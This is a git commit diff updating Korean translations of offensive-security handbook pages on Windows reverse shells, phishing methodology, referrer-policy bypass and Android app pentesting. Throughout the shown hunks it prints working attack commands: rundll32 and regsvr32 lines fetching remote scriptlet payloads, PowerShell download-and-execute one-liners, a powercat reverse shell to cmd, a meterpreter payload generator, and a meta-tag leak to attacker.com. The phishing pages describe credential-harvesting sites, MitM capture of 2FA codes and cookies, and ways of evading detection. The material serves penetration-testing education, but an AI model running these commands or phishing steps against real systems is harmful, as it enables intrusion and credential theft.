Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi

This commit is contained in:
Translator 2025-02-04 18:46:30 +00:00
parent d2e7207e48
commit 088ec82044
23 changed files with 525 additions and 533 deletions

View File

@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체로 사용할 수 있습니다.
**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -165,7 +165,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
## **Rundll32**
[**Dll 헬로 월드 예제**](https://github.com/carterjones/hello-world-dll)
[**Dll hello world 예제**](https://github.com/carterjones/hello-world-dll)
- [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
@ -175,7 +175,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**탐지됨 - 방어자에 의해**
**탐지됨 - defender**
**Rundll32 - sct**
@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**탐지됨**
**탐지됨 by defender**
#### Regsvr32 -sct
[**여기에서**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
@ -249,7 +249,7 @@ set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```
**stager regsvr를 사용하여 Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다.**
**Koadic 좀비를 stager regsvr를 사용하여 매우 쉽게 다운로드하고 실행할 수 있습니다.**
## Certutil
@ -375,7 +375,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
**Shells** 폴더에는 다양한 쉘이 많이 있다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트의 복사본을 만들고 파일 끝에 추가하십시오:
**Shells** 폴더에는 다양한 쉘이 많이 있다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트의 복사본을 만들고 파일 끝에 추가하십시오:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
@ -383,7 +383,7 @@ Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender는 이를 악성 코드로 지하지 않습니다 (아직, 2019년 3월 4일).
Defender는 이를 악성 코드로 지하지 않습니다 (아직, 2019년 3월 4일).
**TODO: 다른 nishang 셸 확인하기**
@ -391,7 +391,7 @@ Defender는 이를 악성 코드로 감지하지 않습니다 (아직, 2019년 3
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 다음, 피해자의 끝에서 실행합니다:
다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 , 피해자의 끝에서 실행합니다:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -399,7 +399,7 @@ Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3
**powercat이 제공하는 다른 옵션:**
바인드 셸, 리버스 셸 (TCP, UDP, DNS), 포트 리디렉션, 업로드/다운로드, 페이로드 생성, 파일 제공...
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
@ -430,7 +430,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
unicorn을 사용하여 metasploit 백도어의 powershell 버전을 생성합니다.
유니콘을 사용하여 메타스플로잇 백도어의 파워셸 버전을 생성합니다.
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
@ -444,13 +444,13 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**악성 코드로 감지됨**
## 더 많은 정보
## 더 알아보기
[PS>Attack](https://github.com/jaredhaight/PSAttack) 일부 공격적인 PS 모듈이 미리 로드된 PS 콘솔 (암호화됨)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) 일부 공격적인 PS 모듈과 프록시 탐지가 포함된 PS 콘솔 (IEX)
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 콘솔에 일부 공격적인 PS 모듈이 미리 로드됨 (암호화됨)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS 콘솔에 일부 공격적인 PS 모듈과 프록시 탐지 기능이 포함됨 (IEX)
## 참고 문헌
## 참고자료
- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
- [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)

View File

@ -1,20 +1,20 @@
# Phishing Methodology
# 피싱 방법론
{{#include ../../banners/hacktricks-training.md}}
## Methodology
## 방법론
1. 피해자 조사
1. **피해자 도메인** 선택.
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행하고 **사칭할** 포털 결정.
3. **OSINT**를 사용하여 **이메일** 찾기.
2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 작업 수행 후 **사칭할 것** 결정.
3. **OSINT**를 사용하여 **이메일 찾기**.
2. 환경 준비
1. 피싱 평가에 사용할 **도메인 구매**
2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**
3. **gophish**로 VPS 구성
1. 피싱 평가에 사용할 **도메인 구매**.
2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**.
3. **gophish**로 VPS 구성.
3. 캠페인 준비
1. **이메일 템플릿** 준비
2. 자격 증명을 훔치기 위한 **웹 페이지** 준비
1. **이메일 템플릿** 준비.
2. 자격 증명을 훔치기 위한 **웹 페이지** 준비.
4. 캠페인 시작!
## 유사 도메인 이름 생성 또는 신뢰할 수 있는 도메인 구매
@ -23,16 +23,16 @@
- **키워드**: 도메인 이름에 원래 도메인의 중요한 **키워드** 포함 (예: zelster.com-management.com).
- **하이픈 서브도메인**: 서브도메인의 **점**을 **하이픈**으로 변경 (예: www-zelster.com).
- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org)
- **호모글리프**: 도메인 이름의 문자를 **비슷하게 보이는 문자**로 **대체** (예: zelfser.com).
- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org).
- **호모글리프**: 도메인 이름의 문자를 **유사한 문자**로 **대체** (예: zelfser.com).
- **전치**: 도메인 이름 내에서 두 문자를 **교환** (예: zelsetr.com).
- **단수화/복수화**: 도메인 이름 끝에 “s”를 추가하거나 제거 (예: zeltsers.com).
- **생략**: 도메인 이름에서 **하나의 문자**를 **제거** (예: zelser.com).
- **반복**: 도메인 이름에서 **하나의 문자**를 **반복** (예: zeltsser.com).
- **대체**: 호모글리프와 유사하지만 덜 은밀함. 도메인 이름의 문자 중 하나를 원래 문자와 키보드에서 가까운 문자로 대체 (예: zektser.com).
- **대체**: 호모글리프와 유사하지만 덜 은밀함. 도메인 이름의 문자 중 하나를 원래 문자와 가까운 키보드의 문자로 대체 (예: zektser.com).
- **서브도메인화**: 도메인 이름 내에 **점**을 추가 (예: ze.lster.com).
- **삽입**: 도메인 이름에 **문자**를 **삽입** (예: zerltser.com).
- **누락된 점**: 도메인 이름에 TLD 추가 (예: zelstercom.com)
- **삽입**: 도메인 이름에 **문자 삽입** (예: zerltser.com).
- **누락된 점**: 도메인 이름에 TLD 추가 (예: zelstercom.com).
**자동 도구**
@ -51,7 +51,7 @@
이 개념이 **DNS 요청에 적용될 때**, **DNS 서버에서 수신된 도메인**이 처음 요청한 도메인과 다를 수 있습니다.
예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경될 수 있습니다.
예를 들어, "windows.com" 도메인에서 단일 비트 수정이 "windnws.com"으로 변경될 수 있습니다.
공격자는 **피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 이를 이용할 수 있습니다**. 그들의 의도는 합법적인 사용자를 자신의 인프라로 리디렉션하는 것입니다.
@ -73,7 +73,7 @@
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트포스할 수 있는지 확인할 수 있습니다. [이메일 주소를 검증/발견하는 방법은 여기에서 확인하세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트포스할 수 있는지 확인할 수 있습니다. [여기에서 이메일 주소를 검증/발견하는 방법을 배우세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트포스**에 취약한지 확인하고 가능하다면 취약점을 악용하는 것을 잊지 마세요.
## GoPhish 구성
@ -83,7 +83,7 @@
[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)에서 다운로드할 수 있습니다.
다운로드 후 `/opt/gophish`에 압축을 풀고 `/opt/gophish/gophish`를 실행하세요.\
출력에서 포트 3333의 관리자 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접근하고 해당 자격 증명을 사용하여 관리자 비밀번호를 변경하세요. 이 포트를 로컬로 터널링해야 할 수도 있습니다.
출력에서 포트 3333의 관리자 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접근하고 그 자격 증명을 사용하여 관리자 비밀번호를 변경하세요. 해당 포트를 로컬로 터널링해야 할 수도 있습니다.
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS 인증서 구성**
이 단계 전에 **사용할 도메인을 이미 구매**해야 하며, 해당 도메인은 **gophish**를 구성하는 **VPS의 IP**를 **가리켜야** 합니다.
이 단계 전에 **사용할 도메인을 이미 구매해야** 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리키고 있어야** 합니다.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -161,7 +161,7 @@ gophish의 실행을 중지하고 구성합시다.\
```
**gophish 서비스 구성**
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함 파일 `/etc/init.d/gophish`를 생성할 수 있습니다:
gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함하는 파일 `/etc/init.d/gophish`를 생성할 수 있습니다:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -208,7 +208,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
서비스 구성을 완료하고 다음을 수행하여 확인합니다:
서비스 구성을 마치고 다음을 확인하세요:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -227,7 +227,7 @@ service gophish stop
1주일을 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요.
### 리버스 DNS (rDNS) 레코드 구성
### 역방향 DNS (rDNS) 레코드 구성
VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를 설정하세요.
@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
다음 내용을 포함하여 호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 생성해야 합니다:
호스트 이름 `_dmarc.<domain>`을 가리키는 새로운 DNS TXT 레코드를 다음 내용으로 생성해야 합니다:
```bash
v=DMARC1; p=none
```
@ -317,7 +317,7 @@ dkim=pass header.i=@example.com;
- 그런 다음 **제목**을 작성합니다 (이상한 것이 아닌, 일반 이메일에서 읽을 수 있는 내용).
- "**추적 이미지 추가**"를 체크했는지 확인합니다.
- **이메일 템플릿**을 작성합니다 (다음 예제와 같이 변수를 사용할 수 있습니다):
```markup
```html
<html>
<head>
<title></title>
@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
**이메일의 신뢰성을 높이기 위해** 클라이언트의 이메일 서명을 사용하는 것이 권장됩니다. 제안 사항:
**이메일의 신뢰성을 높이기 위해**, 클라이언트의 이메일 서명을 사용하는 것이 권장됩니다. 제안 사항:
- **존재하지 않는 주소**로 이메일을 보내고 응답에 서명이 있는지 확인합니다.
- info@ex.com, press@ex.com 또는 public@ex.com과 같은 **공개 이메일**을 검색하고 이메일을 보내고 응답을 기다립니다.
@ -349,7 +349,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
### 랜딩 페이지
- **이름**을 작성합니다.
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 있습니다.
- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 있습니다.
- **제출된 데이터 캡처** 및 **비밀번호 캡처**를 선택합니다.
- **리디렉션**을 설정합니다.
@ -378,7 +378,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
![](<../../images/image (192).png>)
> [!NOTE]
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 올라가는 것을 피할 수 있습니다.
> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 진행하는 동안 블랙리스트에 오르는 것을 피할 수 있습니다.
모든 준비가 완료되면 캠페인을 시작하세요!
@ -392,7 +392,7 @@ clone-a-website.md
## 백도어가 포함된 문서 및 파일
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 일 수 있습니다).\
일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 무언가일 수 있습니다).\
다음 페이지에서 몇 가지 예를 확인하세요:
{{#ref}}
@ -403,23 +403,23 @@ phishing-documents.md
### 프록시 MitM를 통한
이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로 속은 사용자를 가장할 수 없습니다**.
이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로 속은 사용자를 가장할 수 없습니다**.
이럴 때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같이 작동합니다:
이럴 때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같이 작동합니다:
1. 실제 웹페이지의 로그인 양식을 **가장합니다**.
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **보내고**, 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인합니다**.
3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구 이를 실제 웹페이지로 전송합니다.
2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인**합니다.
3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구 이를 실제 웹페이지로 전송합니다.
4. 사용자가 인증되면 공격자는 **자격 증명, 2FA, 쿠키 및 도구가 MitM을 수행하는 동안의 모든 상호작용 정보를 캡처**하게 됩니다.
### VNC를 통한
**피해자를 원래와 동일한 모습의 악성 페이지로 보내는 대신**, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션으로 보내는** 것은 어떨까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 도용할 수 있습니다.\
피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낸다면 어떻게 될까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 도용할 수 있습니다.\
이것은 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 수행할 수 있습니다.
## 탐지 감지
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 자신의 도메인을 검색하는 것**입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스러운 것으로 감지된 것입니다.\
당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 자신의 도메인을 검색하는 것**입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스럽다고 감지된 것입니다.\
도메인이 블랙리스트에 나타나는지 확인하는 쉬운 방법은 [https://malwareworld.com/](https://malwareworld.com) 를 사용하는 것입니다.
그러나 피해자가 **실제로 의심스러운 피싱 활동을 찾고 있는지** 아는 다른 방법도 있습니다. 이는 다음과 같이 설명됩니다:
@ -428,7 +428,7 @@ phishing-documents.md
detecting-phising.md
{{#endref}}
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우입니다. **피해자**가 이들과 어떤 종류의 **DNS 또는 HTTP 상호작용**을 수행하면, **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있으며**, 매우 은밀해야 합니다.
피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우, 피해자가 **DNS 또는 HTTP 상호작용**을 수행하면 **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있습니다**. 이 경우 매우 은밀해야 합니다.
### 피싱 평가

View File

@ -23,8 +23,8 @@ Referrer-Policy: unsafe-url
```
## Counter-Mitigation
이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 ):
```markup
이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 합니다):
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -19,8 +19,8 @@ android-applications-basics.md
## Smali
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**.
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
## Other interesting tricks
@ -56,28 +56,28 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
**Firebase**
**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml
**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일의 검토는 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일을 검사하면 잠재적인 보안 취약점을 발견할 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다.
**Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다:
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다.
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특별한 주의를 기울여야 합니다.
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
**strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다.
### Tapjacking
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **피해자 애플리케이션 위에 위치하는 공격**입니다. 피해자 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 피해자 앱으로 전달됩니다.\
결과적으로, 사용자는 실제로 피해자 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**.
**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\
결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**.
자세한 정보는 다음에서 확인하세요:
@ -87,7 +87,7 @@ tapjacking.md
### 작업 하이재킹
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**).
**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(사용자는 **악의적인 애플리케이션을 사용하고 있다고 생각하게 됩니다**).
자세한 내용은 다음에서 확인하세요:
@ -99,31 +99,31 @@ android-task-hijacking.md
**내부 저장소**
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 **제한하지 않습니다**.
Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**.
2. **동적 분석:**
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 어떤 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인하세요**. 이는 **어떤 애플리케이션**이든 장치에 설치된 경우, 출처나 의도에 관계없이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다.
**외부 저장소**
